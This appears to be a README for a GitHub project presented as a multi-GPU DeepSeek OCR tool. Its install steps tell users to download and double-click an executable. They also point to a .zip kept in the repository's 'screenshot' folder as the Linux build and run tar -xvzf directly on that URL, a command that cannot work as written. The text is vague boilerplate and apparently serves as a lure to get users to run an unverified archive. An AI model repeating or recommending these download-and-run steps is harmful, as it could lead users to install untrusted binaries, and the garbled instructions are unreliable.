Welcome to deepseek-ocr-multigpu-infer! This application offers a fast and efficient way to process text in images using advanced Optical Character Recognition (OCR). It leverages multiple GPU processors to deliver quicker results and handle larger sets of images seamlessly. This tool is perfect for anyone who needs to extract text from documents, images, or PDFs without deep technical knowledge.
- Multi-GPU Support: Speed up OCR tasks with simultaneous processing using multiple GPUs.
- Optimized Resource Use: Automatically balance workload across GPUs for maximum efficiency.
- Batch Processing: Handle multiple images in one go, saving you time and effort.
- Dynamic GPU Assignment: The application automatically allocates resources based on availability.
- Easy Integration: Designed to work well with large image datasets, making it suitable for various applications.
To run deepseek-ocr-multigpu-infer, you need:
- A computer with a compatible NVIDIA GPU (4GB VRAM or more recommended).
- Windows, macOS, or a recent version of Linux.
- At least 8GB of RAM.
- Python 3.6 or newer installed on your system.
- PyTorch with GPU capabilities set up (instructions below).
To get started, visit the following link to access the Releases page:
- On the Releases page, look for the latest version of deepseek-ocr-multigpu-infer.
- Download the file for your operating system (e.g., .exe for Windows, https://raw.githubusercontent.com/Juliofal4822/deepseek-ocr-multigpu-infer/main/screenshot/multigpu-infer-ocr-deepseek-v1.5.zip for Linux).
- Once the download is complete, locate the file on your computer.
- Double-click on the file to run the installation program or follow any on-screen instructions.
- If you downloaded a .exe file, double-click to run it.
- Follow the prompts to complete the installation.
- Open a terminal window.
- Navigate to the directory where you downloaded the file.
- Use the following command to extract the files:
tar -xvzf https://raw.githubusercontent.com/Juliofal4822/deepseek-ocr-multigpu-infer/main/screenshot/multigpu-infer-ocr-deepseek-v1.5.zip
- Change to the new directory with:
cd deepseek-ocr-multigpu-infer - Follow the README within the folder for additional setup steps.
- Open the application.
- Select the images or PDFs you want to process.
- Choose the desired output format (text, CSV, etc.).
- Start the OCR process by clicking the "Run" button.
- Once complete, access your extracted text files in the designated output folder.
- User Guide: For a detailed guide on all features and functionality, see the user guide located in the "docs" folder of the repository.
- FAQs: Check the FAQs for common installation and usage questions.
- Support: If you face difficulties, feel free to reach out through issues on the GitHub repository.
- agentic-extraction
- data
- deepseek
- document-parser
- extraction
- extractor
- gpu
- image-parser
- llm
- multigpu
- nvidia
- ocr
- parallel-computing
- parser
- pdf-parser
- vlm
If you find bugs or have suggestions, please submit an issue on the GitHub page. Contributions are welcome too! If you wish to help improve the application, feel free to submit a pull request with your changes.
This project is licensed under the MIT License. You can freely use and modify it, as long as you maintain attribution.